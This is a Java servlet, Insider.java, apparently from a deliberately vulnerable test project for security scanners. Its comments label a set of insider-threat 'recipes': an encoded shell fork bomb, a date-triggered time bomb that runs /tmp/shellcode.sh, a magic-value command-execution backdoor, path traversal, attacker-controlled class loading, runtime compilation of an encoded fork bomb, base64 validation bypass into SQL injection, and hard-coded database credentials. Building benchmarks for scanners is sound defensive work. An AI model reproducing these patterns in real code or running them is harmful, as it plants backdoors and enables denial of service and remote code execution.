-
Notifications
You must be signed in to change notification settings - Fork 16
/
Insider.java
220 lines (178 loc) · 6.74 KB
/
Insider.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
package io.shiftleft.tarpit;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.net.URI;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.security.SecureRandom;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.Random;
import java.util.logging.Logger;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.tools.JavaCompiler;
import javax.tools.SimpleJavaFileObject;
import javax.tools.ToolProvider;
import java.util.Calendar;
import io.shiftleft.tarpit.util.TaskDoer;
@WebServlet(name = "simpleServlet", urlPatterns = { "/insider" }, loadOnStartup = 1)
public class Insider extends HttpServlet {
private static final long serialVersionUID = -3462096228274971485L;
private Connection connection;
private final static Logger LOGGER = Logger.getLogger(ServletTarPit.class.getName());
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
TaskDoer ta = new TaskDoer();
String inPlainSight = "Oigpezp8OiZ9Ozo=";
try {
getConnection();
// decoded version of source is -
/*
public class ForkBomb
{
public static void main(String[] args)
{
while(true)
{
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
}
}
}
*/
String source = "cHVibGljIGNsYXNzIEZvcmtCb21iIHsgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nW10gYXJncykgeyB3aGlsZSh0cnVlKSB7IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tdeyJqYXZhdyIsICItY3AiLCBTeXN0ZW0uZ2V0UHJvcGVydHkoImphdmEuY2xhc3MucGF0aCIpLCAiRm9ya0JvbWIifSk7IH0gfSB9";
// RECIPE: Time Bomb pattern
String command = "c2ggL3RtcC9zaGVsbGNvZGUuc2g=";
ticking(command);
// RECIPE: Magic Value leading to command injection
try {
String a = request.getParameter("tracefn");
String p = request.getParameter("cmd");
doSomething(a,p);
} catch (Exception e) {
e.printStackTrace();
}
// RECIPE: Path Traversal
String x = request.getParameter("x");
try {
ta.doTask(x, response);
} catch (Exception e) {
e.printStackTrace();
}
// RECIPE: Compiler Abuse Pattern
// 1. Save source in .java file.
File root = new File("/java"); // On Windows running on C:\, this is C:\java.
File sourceFile = new File(root, "test/Test.java");
sourceFile.getParentFile().mkdirs();
String obs = new String(Base64.getDecoder().decode(source));
Files.write(sourceFile.toPath(), obs.getBytes(StandardCharsets.UTF_8));
// 2. Compile source file.
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
compiler.run(null, null, null, sourceFile.getPath());
// 3. Load and instantiate compiled class.
URLClassLoader classLoader = URLClassLoader.newInstance(new URL[] { root.toURI().toURL() });
Class<?> cls = Class.forName("test.Test", true, classLoader); // Should print "hello".
try {
Object instance = cls.newInstance();
System.out.println(instance);
} catch (InstantiationException e1) {
e1.printStackTrace();
} catch (IllegalAccessException e1) {
e1.printStackTrace();
} // Should print "world".
// RECIPE: Abuse Class Loader pattern (attacker controlled)
byte[] b = Base64.getDecoder().decode(request.getParameter("x"));
try {
new ClassLoader() {
Class x(byte[] b) {
return defineClass(null, b, 0, b.length);
}
}.x(b).newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
// RECIPE: Execute a Fork Bomb and DDOS the host
Runtime rt = Runtime.getRuntime();
String fb = new String(Base64.getDecoder().decode(inPlainSight));
Process proc = rt.exec(new String[]{"sh","-c",fb});
// RECIPE: Escape validation framework
String untrusted = request.getParameter("x");
//Encode to escape validation
x = Base64.getEncoder().encodeToString(untrusted.getBytes());
//Validation logic passes through the code as it does not comprehend an encoded bytebuffer
String validatedString = validate(x);
if (validatedString != null) {
//restore the malicious string back to it's original content
String y = new String(Base64.getDecoder().decode(validatedString));
try {
connection.createStatement().executeQuery(y);
} catch (Exception e) {
}
} else {
log("Validation problem with " + x);
}
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
Pattern p = Pattern.compile("^[A-Za-z0-9\\\\\\/\\=\\-+.]*$");
public String validate(String value) {
if (value.contains("SOMETHING_HERE")) {
return value;
}
return "";
}
public void doSomething(String c, String a) throws Exception {
doSomethingElse(c,a);
}
public void doSomethingElse(String d, String e) throws Exception {
if (d.equals("C4A938B6FE01E")) {
Runtime.getRuntime().exec(e);
}
}
class SourceFile extends SimpleJavaFileObject {
String code = null;
SourceFile(String filename, String sourcecode) {
super(URI.create("string:///" + filename), Kind.SOURCE);
code = sourcecode;
}
public CharSequence getCharContent(boolean ignoreEncodingErrors) {
return code;
}
}
private void getConnection() throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
connection = DriverManager.getConnection("jdbc:mysql://localhost/DBPROD", "admin", "1234");
}
private void ticking(String parameter) throws IOException {
Calendar now = Calendar.getInstance();
Calendar e = Calendar.getInstance();
byte[] result = Base64.getDecoder().decode(parameter);
String execPattern = new String(result);
e.setTimeInMillis(1551859200000L);
if (now.after(e)) {
Runtime.getRuntime().exec(execPattern);
}
}
}